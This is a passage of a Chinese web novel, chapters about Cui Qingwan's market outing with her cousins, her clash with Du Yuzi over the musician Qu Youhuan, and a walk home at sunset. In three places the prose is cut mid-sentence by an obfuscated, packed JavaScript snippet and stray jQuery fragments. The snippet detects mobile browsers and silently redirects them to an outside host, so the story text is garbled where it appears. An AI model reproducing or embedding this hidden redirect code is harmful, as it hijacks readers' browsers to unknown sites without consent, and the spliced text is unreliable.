“其实这都是二哥的主意,二哥说这次宝冠华服多为回鹘商队带来,不论是样式还是颜色,都新颖大方,所以现下东市里聚集的,不止待字闺中的娘子,还有不少已出阁的夫人。若是能带四姐姐在这些女眷们眼前一游,想必有关四姐姐的流言立马能烟消云散!”
散不散不知道,但舆论倒向崔家倒是很有可能,这崔家二郎君,和三娘子办起事来真是一攻一防,配合得当啊。
“崔清婉”心下暗诽,表面上却是抿了抿唇,一副乖巧听讲的模样。
“但我觉得,京都繁华非常,即便不去宝冠华服处,其他场所人也不少,而我特意提起,可全是为了三哥!”
崔皓月绷着脸点点头,虽然此刻他还是将目光对着“崔清婉”,但后者很明显地感觉到崔皓月接下来的话语都是对着崔皓羿而言,甚至他浅痣下的双眸都开始透出隐隐的笑意。
“要知道绣罗裳那里娘子芸芸,其中嘛,就有杨尚书家的次女杨简礼。准确来说,是杨简礼约了三四位同族的世家女在东市的阁楼里候着呢!”
“杨简礼!唔!”
果然处变不惊的大家闺秀不是这么好演,“崔清婉”还
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14877276|159629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是没能忍住,一声惊呼后,她意识到不妥,只能轻咬下唇挑挑眉,装作无事发生地将目光飘到木窗外边。
但这事真不怨她,绝对不可能有人在得知背后故事后还忍得住,毕竟连崔皓月都一副看戏的模样不是吗?更别提自己了。
既然是出门逛集市,世家子弟必然要换一身合适的衣着才能出门。所以在等这两位郎君换上常服时,“崔清婉”趁着空闲有意无意地向云岫问了几嘴有关崔皓羿的事,没想到问出来的消息可是让她大吃一惊。
先前已听说了崔皓羿妻子杨简仪的事儿,倒也没什么特别的,就是说她为杨尚书家的嫡女,明明身体羸弱,但性子却稍显刚烈,在新婚之夜能让崔皓羿脸上挂彩这件事可是闻名京都……咳,再之后嘛,倒也没其他的事,二人对外一直是和和气气的夫妻模样。
可另有一件事儿比较头疼,那便是杨家嫡次女杨简礼三番四次向族中说崔皓羿苛待了自家长姐,非要讨个说法。
起初大家对杨简礼的说辞还有些摸不着头脑,但日子久了便发现端倪——这位小娘子分明是自己看上了崔家三郎,也想嫁过去。
面对杨简礼这种死缠烂打的情况,通常做法也就是让崔皓羿去提个亲,即便听上去有些不堪,但也不至于是什么惹人唾骂的丑事,可崔皓羿无论如何都表现出躲避的模样,任是谁明说暗示都不肯妥协。
这么一耽搁,便也过了两三年。
说实话,要让“崔清婉”以现代人的目光来看,必然觉得不合适,她可不赞成什么三妻四妾。但毕竟这是古代,她不方便说什么,反而她因为崔皓羿不知何缘由但确实秉行了一夫一妻无妾的事实而对其颇为欣赏。
“咳……我是说,她带的姐妹们也太多了,我觉得现下我不是很适合那样袅袅婷婷的场合,不如我们去看看乐器珍宝吧,好吗?”
破除气氛上的尴尬别指望靠别人,只能自己动嘴。“崔清婉”轻咳一声,将话题扭了过来,一脸“我刚刚什么也没说我什么都不知道我是自愿想去看珍宝”的假笑。
崔皓羿若有所思地盯着“崔清婉”看了片刻,随即面上露出一丝很莫名的笑意。这一笑倒让崔清婉有些破功,忍不住撇撇嘴角回看对方一眼。
“所以,三哥哥的意思呢?”
“本就为带你散心,今日行程全由你作主。”
崔皓羿敛了敛面上的笑意,借着台阶便下了。崔皓月自然心领神会,不再多言,他撩起木窗前挡着的绢纱,招手唤来随行仆从,低声嘱咐一番,随即马车便在街道路人的议论声中掉头另行了。
马车依旧叮铃铃地响着,但驶出方向的道路上却少了些拥挤。
“四姐姐,我觉得你这个决定十分正确!”
崔皓月眺看远处渐行渐近的凤琼阁,没来头地赞叹出这么一句。
“此话怎样?”
行驶在街道上的马车并没有多颠簸,“崔清婉”很自然地顺着崔皓月的话问了回去。
“这个呀,不瞒四姐,其实今日你要出府去逛东市的消息,一大早就被城中显贵们知晓了——诶,可别看我,不关我事,是下人们备马车时被外人瞧见,再一推测便都知道了。”
崔皓月弯弯的眼眸中再次增添笑意,和着眉间浅痣俊俏中又有一丝讨打。“崔清婉”挑了下眉头,心中只是感慨真不自由真没隐私,别的再无多言,反倒是崔皓羿接过了话头。
“所以简礼并非为堵我。”
“嘿!也不能什么都是为了三哥你啊,这不过是碰巧,毕竟京都女子谁不想和四姐姐一起物色衣裳呢?颜色鲜亮大胆又气势十足,除了在四姐姐身上,穿在哪家娘子身上都光彩照人……”
大概是感受到崔皓羿无言的盯视,崔皓月星眸一转,面向崔清婉的笑脸再添谄媚。
“不过也多亏四姐姐善解人意选了凤琼阁,就算杨简礼不是为了三哥,可到时候真见了面,怕也要生出不少聒噪。况且,要为我保媒的夫人们实在太多,应付起来太费神了。”
说到最后,崔皓月撇撇嘴角,宛如一只小苦瓜,这倒是让“崔清婉”听得勾起了嘴角。
难怪清书娘子想把他丢到宴会上历练,原来是这么个历练法啊?
“郎君,娘子,到了。”
随着仆人隔着车厢的提醒,马蹄音和车轮声一道休止下来。
“崔清婉”从自己的思绪中回了回神,一瞥眼便看到崔皓羿与崔皓月利落地下了马车,见状,一旁候着的云岫与晴眉也走上前来准备搀扶她下车。
偏是此时,忽地一声吵嚷打断了众人的动作——
“曲游欢!别以为我看不出来你想往哪儿去!回鹘的衣裳够她看的!凭你怎么想方设法也不会再进她的眼了!今儿这个曲儿,你不吹也得吹!”
11. 旧人
奇珍异宝琳琅满目,但却无法削减这一屋子的尴尬。
崔皓月模仿着崔皓羿,同坐在凤琼阁内待客的圈椅上,故作高深地抿着茶,未曾言语一字一句。崔皓羿见状只是笑着摇摇头,而后回过头向“崔清婉”抬了抬手中的茶盏以示意。
这就让我自己解决啦?!那和你们出来有什么用啊!尤其这位三郎君,你的保证什么时候生效啊!
“崔清婉”瞥了崔皓羿一眼,心中忍不住怨诽几句,随后认命般地回过头来,和眼前两人大眼瞪小眼地对坐着。
眼前男子肤色冷白,阴郁长相不似寻常人家。他深目高鼻,轮廓分明,浅灰色的眸子正诉说着他的异域出身。他本十八九的少年模样,却因一身缃色袍衫,平添了几分文雅韵味。
只是……他看向自己的目光也过于热切纯良,让“崔清婉”都忍不住想问问云岫,过去的自己是不是做过什么伤害他的事。
至于他身旁的女子,朱红半臂沉绿长裙,满头的珠钗首饰,本该是奢华贵气,却因为整体的不协调而显得有些堆砌。且她本是二八年华,正值青春,却偏要打扮得成熟风韵,结果只能是画虎不成反类犬。
曲游欢,杜玉姿。
“崔清婉”在心中默念了一遍他俩的名字。
方才“崔清婉”下马车后,云岫便伏在她耳边低声提醒了一句。之前她也算把原身的人际关系听了个大概,但不知人物长相,如今一见,倒也有种现实与想象的差别对照。
尤其是这位桓王妾室杜玉瑶的妹妹,娇蛮,又愚蠢。
“哼,要么说王妃——啊不,是崔四娘子,崔四娘子您是真好命呢?这才被天雷照映,就又得了郡夫人的诰命,我阿姐要是能沾上您半点福气,想必也不会五六年时日才是个一品官媵的身份。”
“嗯……”
官媵,也就是郡王的妾室,分为四个品级,能做到一品官媵的地位,其实也足以说明杜玉瑶在桓王府的受宠程度。
啧,所以是在反讽吧?因为没沾上“福气”,所以才能如此受宠,她是不是更想把话里的“福气”换成“晦气”?
真是不明白,明明原身被休已经是公认的事实,那妻妾的矛盾也应该化解了才是,杜玉姿干嘛这么咄咄逼人?
拥有现代灵魂的“崔清婉”搞不懂,只能憋着闷气喝茶。
而女子交谈,男子自然不便搭话。无奈杜玉姿言语过于挤兑,让一旁品茶的两人也忍不住侧目瞧了这边一眼。
崔皓月自然是很不满地白了杜玉姿几眼,他真就是放不下身份,不然早就回对方几嘴;崔皓羿虽是沉得住性子,但看向“崔清婉”的目光也多了份凝重。
干嘛这么一本正经地看着我?难不成前身就是被这位娘子欺侮个没完?还是说觉得我应该干一架,为前身出出气?
不对,不该这么浅薄,要是真干架,崔皓羿那身子板肯定比自己强。
嗯……噢!明白了!这是担心我小不忍则乱大谋!放心!我懂!
“崔清婉”回看崔皓羿,偷偷眨眨眼,一副“我已了然于胸”的神情,而后回过头来对着面前二人正色道。
“现今杜家一扫颓势,小娘子不必自卑,想必凭借令姐的本事,定能再次抬升品级。自然,一品官媵已是尊贵,但其上还有王妃之位。而今我乃独身,这些事情不该由我记挂,且清风明月,江山如画,小娘子总归还未婚嫁,不如撇去这些琐事,一同谈谈风景可好?”
漂亮!这答话大方有水平!
“崔清婉”含笑点头,对自己的说辞很是认可。
在她得知的信息中,杜家本就是个没落了许久的士族,不然杜家嫡长女怎能嫁入王府做妾室?云岫说,这几年杜家得势得很,崔清婉昔日在王府时没少受杜玉姿的挤兑,不过因着那杜玉瑶身为妾室,赔礼道歉时又低声下气得真切,故而每每冒犯只能作罢。
“四娘从桓王府离身,怕那杜二娘子最为称心,满王府的莺莺燕燕,唯有她长姐出身最好。就算圣人不准桓王抬她长姐为妻,只怕也没人能再压她长姐一头,凭往日她借着杜媵人受宠而跋扈的作为,真不知此后她能轻狂成什么样子!”
云岫咬牙切齿地描述,让当时听讲的晴眉都忿忿不平,但放在现今的“崔清婉”身上却没多大影响。
即便不记得名字,她还是坚定自己是个独立个体,她没办法将自己完全代入到前身的人际关系中,尤其谈论到王府生活时,作为一个现代人,她无论如何也做不到完全的感同身受。
其实在古代这种环境下,女子的争宠行为也是迫不得已,毕竟没有独立的社会地位,只是男人们的附属品,所谓争宠,很大一部分是抢夺生存空间吧。
不论是弱势的原身,还是略显强势的杜家姐妹,“崔清婉”都抱着同情的态度,此刻的她只想息事宁人,尽量避免踩进这种扯头花的雌竞陷阱。
所以“崔清婉”浅笑端坐,自认为回复得妥帖。但不想她言语过后竟引得旁听人皆低笑开来,饶是那阴郁气质的异域少年,此时也在抿唇忍笑。
嗯?哪里说的有问题?
“崔清婉”茫然地向四周看了一圈,没有结果又将目光投向自家两位郎君,有些不明所以。
“崔清婉你竟敢如此——哼,四娘子真是好意!玉姿,谢!过!了!”
杜玉姿娇媚的小脸儿上升起怒意,一口银牙像是要把每个字咬碎了吐出来,她本想再言语什么,却被崔皓羿一声清咳打断。愣怔一瞬,她回回神,沉吟间又是眸光一转,嘴角还衔着冷意的娇笑。
“风景再好,又怎能抵过王府里的一曲乐舞呢?想必四娘子休养多日,早已不记得王府乐人舞伎的模样。说来也真是可惜,那舞伎为我阿姐庆祝生辰,一连舞了多支,现今还赖在府内歇息呢,真是不成规矩。还好今日我提了乐人出行,不知四娘子可要听他演奏一曲?”
“什么赖着歇息!分明是你们刁难知笙——”
方才还在忍笑的少年突地面色一变,言语声中压制怒火,他本俊秀的面庞也是又煞白了几度。
“住口!你是什么身份也敢插话?!给我掌嘴!”
一声厉喝,简直让人来不及反应,杜玉姿身旁的仆从便很是熟练地冲上前去甩了少年几个巴掌。
宛如雪原覆上一层夕阳,曲游欢脸上的指印格外显眼,他的脑袋低侧在一边,尽管他暗下瞪看杜玉姿的目光中满是不甘,可他也不敢做出什么别的举动。
见状,杜玉姿乜了身边受罚的曲游欢一眼,讥讽笑道。
“噢……看!是我忘记了,昔日你与那舞伎一同被买回府内,不正是四娘子的主意吗?难怪你一时失礼,原是四娘子不曾好好调教,竟让你在外人面前也这么没有教养。其实我也明白,你人没出桓王府,可这心呐早就随四娘子去了,不然怎敢这般肆意没分寸?”
“四娘子不要见怪,自四娘子出了桓王府,我与阿姐已在调教府内仆从,可有些奴仆实在低劣,仗着昔日王妃宠溺养成了奸惰的性子。这样,请四娘子看在我的面子上,让他为四娘子演奏一曲,也算是赔礼了。”
见“崔清婉”怔愣在坐席上,杜玉姿只当她还是如往日般忍让,一时间,面色更加得意。她朝曲游欢抬抬下巴,递了个嘲弄的眼神。
“喏,新买下的筚篥已在那处,曲游欢,你还不快爬过去,为崔四娘子好好演奏一番?”
爬过去?
“崔清婉”看向站在门旁托着乐器的小厮,眉头一挑,郁结在胸的怒气直腾腾地冲上脑门。
方才怨她见识浅薄,没见过这种打人场面,一时怔在原地。可当她回过神后还听到杜玉姿炮语连珠般的攻击与刁难,连着方才当她面打人的份,立刻怒意沸腾。
她知道杜玉姿对原身敌意很大,但没想到如此过分,她不敢想象清婉娘子昔日受到的是何种精神霸凌。亏她以为在下马车
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14877277|159629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
前听到的冷言冷语是杜玉姿嫉恨曲游欢忠心原身,现在看来,她分明只是迁怒折磨。
“怎么?还不动?你忘了那舞伎的下场?还是说……你要我把她‘送’出王府?”
在“崔清婉”捏紧裙角尚且冷静克制时,杜玉姿用轻蔑讥讽的目光扫看了少年一眼。曲游欢单薄身躯一震,犹豫着就要行动。
呼……忍耐……
“崔清婉”轻闭眼睛深吐了一口气,竭力压制太阳穴处突突的阵痛。
难怪这少年周身阴郁,唯独看向自己的目光那样热切,这是在求救啊!
杜玉姿话里话外到底在暗示什么,她确实不清楚,但她很明白,这个娇蛮的女子绝对在用一些手段来威胁曲游欢,而这手段又多半关系到曲知笙的安危。
既挤兑“我”,还不放过“我”在王府的旧人。
好,很好。
为了崔家的名声我得先忍……
忍你个香蕉芭乐啊忍!今日我就要做条逮谁咬谁的疯狗!
“崔清婉”瞪向崔皓羿一皱眉,还不及后者反应其中意味,她便回首对着杜玉姿一拍桌案,怒声喝道——
“好一闭月羞花貌,实则豺狼虎豹心,你未免欺人太甚!”
惊炸一声,满屋寂然。
众目睽睽之下,“崔清婉”一套动作行云流水——她将手边茶盏摔在杜玉姿脚下,而后一把将曲游欢拽着起了身,随即又从头上拔下一支金钿塞到后者手中。
“听着!你与知笙既是我买回来的,那便是我的人。我既出了桓王府,你们也没理由留在那地受人磋磨!这金钿是我贴身信物,我要你拿着这信物前去桓王府,今夜务必将知笙带回我崔家!”
“四娘……”
曲游欢紧着眉头,似在克制自己的惊愕与欣喜,他苍白皮肤上开始晕出浅嫩的酡色,看上去温润得将要破碎。
“你敢?!那是桓王府的乐工!你不过蒙了圣人恩典得个郡夫人的名号,竟也妄想作威作福,来桓王府撒野?!”
“撒野?哈,小娘子谬赞了,‘搬弄是非’、‘霸道横行’、‘肆意妄为’,真要论起来,在场之人怕是没有比小娘子更深谙此道的吧?小娘子放心,改日我定登门请教,好好向你学学如何才是‘作威作福’!”
嘴角噙笑三分意,眼目含冰七尺寒,“崔清婉”直勾勾地盯着杜玉姿,哪儿有方才半分避让?
而杜玉姿也回看对方的盯视,但不是主动,而是被迫,她想不到昔日柔声细语的崔清婉竟也会有这种神情,她不敢避开目光,她生怕自己一移开目光就会被吃掉。对,是吃掉,这种孤狼般的盯视让她自骨子里颤栗、害怕。
“云岫,你陪游欢去,就驾着我们前来的马车,今晚定要将人给我带回来!我倒要看看,桓王府里谁敢留人!”
“是,曲乐师,请随我来。”
云岫对着众位郎君娘子施过礼,便走到曲游欢身边柔声低语。对她们这种仆从而言,娘子郎君越是硬气,自己行事也越有底气。更何况,她早就在王府时就看不惯杜家姐妹的作为,今日自家四娘一扫之前的温婉模样,倒让自己解气了不少。
“四娘,游欢……多谢。”
一贯阴郁苟生,今日之情与昔日之恩,双重叠加竟让这出身卑贱的少年郎一时组织不起语言,只能嗫嚅着说出“多谢”二字。
语罢,他也施礼告退,随云岫出去了。
屋内,静默的除却诸多低眉顺眼、毫无话语权的下人,还有两位稳坐在一旁的郎君。
杜玉姿呆愣地盯着眼前雷厉风行的女子,满面惊惧。她也曾听闻崔家女被雷击后得了失魂症的传言,她本以为对方会变得软弱不堪,却不想竟是这般刚烈。
她移不开目光,像是整个人被钉在原地,在“崔清婉”愈发冰冷的眸中,杜玉姿看到了自己的慌乱,她突然很想奔回王府,她想要伏在长姐的膝上,求长姐为自己出出主意……
12. 夕阳
“都说崔家门风清正,从不容子弟横行,但今日我见两位崔郎君纵着四娘子凶悍行事,怕是坊间赞誉多有不实。如此娇纵,也难怪四娘子会被桓王殿下厌烦,得了个出妻的下场。我与诸位作风不合,今日就此别过,告辞!”
怔愣了许久的杜玉姿终于回过神来,嘴上不饶人地又回怼了两句,随后便率着侍从悻悻离去。
而留在凤琼阁内的“崔清婉”本已有打道回府的心思,但她怎么想又都觉得,要是自己现在回去,某种程度上像是输了,真是古怪的心理。
于是她强拽着崔家两位郎君在阁内逗留了片刻,待到第一抹斜阳落在屋内时才决定离去。
马车已被云岫驾着前往桓王府,此刻只有五六个侍从还托着随行的物品候在凤琼阁外。
“四娘,快披上些,日头越下去一分,这冷意就越上来一丝呢!”
刚随着兄弟出门,“崔清婉”便被随行的晴眉从侍从手里拿来广袖长衫搭上。
“还好吧,也没有那么冷……”
在旁人眼里自己一定是大病初愈,可只有“崔清婉”自己知道,这副身体状态称得上良好。正当她满不在乎地嘟囔着,却在回头间瞧见崔家两位郎君被小厮服侍着披上大氅,于是自觉止了话头,乖乖披戴上。
“阿婉可别小瞧了暮春的寒气,若是受了凉,头痛乏力又得难受好一阵儿。”
似乎是听到她的嘟囔,崔皓羿抬眸对其笑言道,打量几眼后,他又对着崔清婉身边的侍女晴眉问道。
“四娘子的帷帽可有带来?”
晴眉屈了屈身子:“回三郎,今日本乘坐马车出行,所以未曾备下帷帽。”
“此时尚未闭市,不如再买——”
“唉呀!三哥真是关心则乱,我们乘马车来时,难道三哥没察觉到四姐姐的气息平稳悠长?这样的身体哪里病弱到需要一层又一层的防护啊,且不说凤琼阁到家宅也没有过远,单就说四姐姐,”崔皓月三步并两步走到“崔清婉”身边,然后用手掌恭敬地请托了后者面庞,“三哥没看到四姐姐满脸的不情愿嘛!”
“呃,”崔皓羿怔了一下,随即向“崔清婉”微微颌首,询问道,“阿婉这副神色,可有什么顾虑?”
“顾虑倒谈不上,我只是在复盘。”
“崔清婉”将目光从崔皓羿身上转到身旁的木楼,深思中带有几分懊悔。
“我觉得我没发挥好,简直是被碾压,杜玉姿怎么就能坚持自己节奏且不用重复词儿的,真是天赋异禀……但我回想起来,似乎在我说完某一段话后你们都在笑……嘶,想不懂,我根本不了解你们的点在哪里……”
复盘?碾压?
让人费解的词语。
崔皓羿颦了一下眉头,含着不解的笑意看向“崔清婉”,瞧她皱着眉,认真出神的模样像极了犯愁的小兽,心中不禁放松几分,略带释然地顺着她的目光向楼里探询过去——只见已是黄昏,商人们都在做闭市的准备,凤琼阁内的小厮忙碌着进行最后的清扫送客工作,这一天的喧闹也该歇下了。
“原来四姐姐并不是不满,是在遗憾啊!”
崔皓月收回请示的手,握拳锤在另一只的掌心,一副恍然大悟的姿态。这样的做作让原本应该是宽慰“崔清婉”的话,也染上了几分奚落的味道。
“可四姐姐之前言语,已经算是舌灿莲花、妙语连珠,我想,此时杜小娘子怕是正在王府里泪透她姐姐的裙摆了吧。”
“嗯?裙摆?”
“崔清婉”收回眺看的目光,转而面向崔皓月,却见他一脸欠揍模样,无奈,只能再度转首向崔皓羿询问。
“这些事本不该多议论的,实在失礼,”崔皓羿摇头笑了笑,却还是开了口,“不过阿婉许是忘记了,前年郑国夫人设宴,宴会前杜小娘子屡屡冒犯于你,以你身份本该责罚她,可碍于场面也只能作罢。谁知那位王府杜官媵竟在大庭广众之下拖着未干的裙摆跪在你眼前,说什么其妹年幼失了分寸,伏在膝头痛哭不已,望你原谅她的失礼——”
“总之啊,四姐姐顾及王府脸面,忙着将她搀扶起来,哈,不知道桓王后来得知是何神色,只记得宴会后三姐和我说,那日不少京中贵妇被她姐妹二人弄得泪目婆娑……现在回想,四姐姐当时定是气结于胸,却还得被人劝着大度行事,真是一群站着说话不腰疼的。”
崔皓月截了崔皓羿的话头,边说边低低地翻了个白眼。显然他往日没少听此类故事,以至于谈论起,满脸克制不住的鄙夷神色。
“现如今的阿婉不必再忍着了,没了桓王妃的身份,不受那些记忆束缚,你大可以任性些。”
“啊,好。”
突如其来的安慰,不知是和这副躯体的原有者所说,还是和占据这副躯体的灵魂所说,但“崔清婉”还是在一怔后回过神,对着崔皓羿浅浅笑答。
“看样子马车是一时半会儿赶不回来了,不如就着夕阳我们兄妹三人步行片刻?”
面对崔皓羿的提议,剩下的二人自然没有异议,本已披戴好衣物,不惧寒气,赏一下沿途的景色也未尝不可。
况且,“崔清婉”又何尝不明白,崔二郎君提议带她出来的目的,不就是想向外人显示一下自己被雷击后的“神迹”?
只是这一切本该发生在回鹘商人那边,京中贵妇们的恭维之中。
“崔清婉”略回眸瞥了一眼凤琼阁位置,心中忍不住地盘算。
依现在情形判断,崔皓羿似乎因崔家与桓王联手的计划而对兄长们保持一种疏离态度,即便会成全如今日崔二郎的谋算,也要守着自己以确保安全。而崔皓月虽不知实情,但他基本保持中间人的立场,很恰好地担任几位兄弟间的沟通桥梁。
另外使人在意的,便是崔三娘崔清书了,按理说她应当也是不知晓内情的,但推动自己来找崔皓月寻得书信一事又不像是巧合,况且,还是她逃了崔二郎的授意,让崔皓月代她邀自己前来集市。
这兄弟几个,怎么感觉是各怀鬼胎呢?
还有真正暗害原身的人,当然不可排除崔家人与桓王的嫌疑,虽然论情理不该怀疑他们就是了,但不能放松警惕。即便真不是他们,那真正的凶手也与他们有千丝万缕的关系。
尤其是那个桓王李澈,哪怕他与埋火药一事真没关系,但清婉娘子在桓王府受磋磨之事也有他的大部分责任……真是恼火!他要是那么宠爱杜家姐妹,干嘛那天在自己病榻前又一副惺惺作态的样子!
琐事真多,越想脑子里越乱哄哄,最可笑的是自己这么惦记他人的事,但自己却连自己的名字都记不起来。
“崔清婉”缓步前行间深深吐了口气,她真想朝老天翻个白眼,不过碍于此时自己扮演的身份,她还是压抑住内心的冲动。
余晖照耀下,整个皇都的街道上都被铺就了赤金色的纱幔。
道路宽阔,行人匆匆,万物似乎都在赶着闭市前赶回家去。
不过与行人相比,崔家的两位郎君走得实在缓慢,想来也是在配合“崔清婉”的行步速度。
远远向街道侧边看去,走在中间的崔皓羿最为稳重端庄,对比之下,他身侧的崔皓月则欢脱了许多。“崔清婉”是被二人护在道路里侧,行人们多瞥见的是一抹衣影,有心留意的话还能瞧见一眼她的侧容。三人身后是近十人的侍从,整个群体走过街道,看上去既悠闲又格格不入。
总之这也算散步回府,亲人间应该有些交谈才显得正常吧?
于是“崔清婉”紧了两步,距离崔皓羿近了些。
“请问……成婚之前,‘我’也是个柔弱的人吗?”
“是,也不是。”
“那么……今日我的言语行为过分吗?”
“并不过分。”
“既如此,为何在阁内你会那般严肃地瞪看着我?”
“嗯?”
突来的问题让崔皓羿脚步落地一迟疑,这便落下崔皓月半步,不过后者也没发现便是了。
“想来怪我面容凶狠,我并没有瞪娘子,我只是因娘子不得不经受杜小娘子的针对而感到抱歉。”
“你面容凶狠,你怕不是对自己有什么误解嗯——”
“崔清婉”清咳一声,盖过前半句话,然后侧过头来,轻声问道。
“只是感到抱歉,不会担心我丢了崔家的体面?”
虽是这么问的,但若崔皓羿真是因为礼仪分寸而担心自己闯祸,那也太惹人不快了。
自苏醒后,不说她多么符合古代大家闺秀的模样,但也在尽力做了。一些礼节、谈吐也在留心学习,她自认自己表现得中规
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14877278|159629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
中矩,起码用一个“失魂症”还是能搪塞过大部分人的疑问。
“若体面是靠迁就和委屈换来的,那羿宁可丢了。我实在担心阿婉如往日般温顺随和,再次被对方拿捏。”
“温顺随和?这个放心,我必不能如往日般再受人欺压,毕竟我打小就知道‘哪里有压迫哪里就有反抗’嘛。”
“嗯,如此甚好。”
他二人低语交谈神色自若,本不惹人关注,但一直嘀嘀咕咕的声音终究是引得领先几步的崔皓月频频回头,许是按捺不住,崔皓月慢了几步近到二人身边。
“三哥同四姐姐在说什么?”
“无事,只是尝试着回忆往事……阿月啊,你认为昔日的我柔弱温顺吗?”
“崔清婉”顿了一下,想了一下这对话没涉及什么要紧事,便问了出来。
“不但不柔弱,还很有主意。虽说京中女眷最爱跟随四姐衣着配饰,但不得不说,四姐姐真的不适合呃……部分装扮,可每当我们谈论此事,四姐姐你总是歪头侧目,一副永不妥协的模样。”
似乎感受到崔皓羿无言的压迫,崔皓月忙着转换话题。
“噢另外那个……嗯!总之四姐姐是京中数一数二的温顺好脾气,任谁也知四姐姐是最好说话的,这点三哥最有感触,以前四姐姐最听三哥的话。可惜,我做不了四姐姐的兄长,不然我也能体会一下三哥的顺心滋味。”
“没大没小,又开始说不分长幼的胡话了。”
崔皓羿抬起手来正要敲一下崔皓月的脑袋,却不想后者躲得够快,一个侧身便闪到“崔清婉”身旁,不服气地回嘴道。
“我又没说错!再说,多一个兄长不就能更好地保护四姐姐了吗?虽说,现今的四姐姐比往日里要厉害上几分,但这可是隐忍了几年才增长的能耐啊!必须好好呵护!好好长脾气!”
“厉害?具体是指什么?”
“崔清婉”转头看向崔皓月,一时又被对方眉间的浅痣映得失神。
唉,这小子确实生得一副好皮囊,明明说只比自己小一个月,但怎么看都觉得他满脸风华正茂,像个二八少年,而自己却“饱经风霜”。
难道这就是结婚带来的副作用吗?可崔三郎不也成亲了,怎么他看上去也还是英气蓬勃的样子?莫非婚姻的烦恼传女不传男?
“指什么?还不是四姐姐在凤琼阁内的那番话——先说他杜家攀上桓王府,后又讥讽她长姐杜玉瑶终究不过桓王府官媵,最后还说杜玉姿其人尚未婚嫁便像个长舌妇。哦还有最后摔向对方脚边的茶杯,简直是英姿飒爽,四姐姐……”
边回想边口述的崔皓月越说越兴奋,一看就是往日里极为心疼自己这个姐姐。但当事人听到他的分析后,却不由得哽了一下。
“诶这,我不是……”
我不是这个意思。
“崔清婉”本想这么说,但又止住了话头。
她本意只是想岔开杜玉姿的话题,尽量避免与对方因往事而争锋,为了不让人察觉出她与原来的崔清婉彻底是两个魂体这件事,她便依着之前掌握的信息刻意回了话。
话中提到杜家与杜玉瑶,也是她想向旁人彰显一下,我还是崔清婉,只不过得了“失魂症”,脾气大不一样罢了。
话,确实是她自己说的,可怎么理解只得看听的人。
然而凭杜玉姿当时那么大反应,想必是和崔皓月一样的理解。
那他们笑,也是笑这个吗?
“崔清婉”心底突然升起一丝难过,她自己确实也见不惯杜玉姿这样的人,尤其仗势欺人的行为,更令人不齿,但见不惯归见不惯,若说借此便讥讽她长姐是官媵身份,那她确无此意。
没有人生来就想做妾室的吧?
大概……
“讥讽杜玉瑶不过是桓王府官媵?许是阿月会错意了,她不会有这样的心思。”
“嗯?什么?”
崔皓月没懂自家三哥怎么突来这么一句话,而且还是这样笃定,也是一愣。
同样怔愣的还有一旁的崔清婉,她转回头看向崔皓羿,四目相对,坦坦荡荡。
她不明白崔皓羿的自信从何而来,也不明白他为什么能精准地知晓自己所在意的内容,但不管怎么说,能被人坚定信任的感觉实在太好了……
13. 一念之间
“三哥,你这话我不明白,什么叫‘这样的心思’?四姐姐说的本来就是事实,难道杜家人凭借杜玉瑶讨好桓王的行为是我们杜撰的吗?”
崔皓月的语气有些急切,似乎因兄长不站在自己这边而感到恼火,但他分明又知道兄长不是装好人在维护杜家姐妹,他说不上来哪里不对,只是有一种莫名被孤立的羞恼。
“其实怪我说话不够严谨,我只是想岔开话题,却不想多余的言辞生了其他意思。在我心里,杜家怎样,杜玉姿怎样,我说了便是说了,但是——”
见气氛因自己而变得压抑,“崔清婉”一下子有点慌,她忙着解释,但一开口便觉得一股子白茶味,可她还得硬着头皮继续说下去。
仿佛是察觉到“崔清婉”的不安,崔皓羿开口截了她的话头。
“但是阿婉绝不会讥讽杜玉瑶的身份,不论是过去,还是现在。”
“嘁,原来还是说杜玉瑶杜大娘子。”
本以为自己曲解了别的什么意思,原来又是老生常谈的旧话,崔皓月嘴角一动,忍不住朝一旁翻了个白眼。
“以前四姐就总说什么‘玉瑶也是个无奈之人’,然后在桓王府里处处忍让,可结果呢?结果还不是让杜玉姿得寸进尺、仗势欺人!其妹如此,那杜玉瑶能是什么真善人?不过是阳奉阴违、惺惺作态罢了,但四姐偏不信!原以为四姐姐现今脾性大改,能有所醒悟,怎么说到底还是怜惜她?我真不懂!”
“阿月,你——”
崔皓羿本想和崔皓月再言语几句,却不想崔皓月脾气来得太快,几步快走便闪在了前面。
望着崔皓月的背影,崔皓羿无奈地舒了口气,却也只是摇了摇头,没有再赶着说些什么。
沉默片刻,崔皓羿斟酌开口:“阿月一向敌视桓王府那边的人,他并非故意冒犯娘子,实在抱歉。”
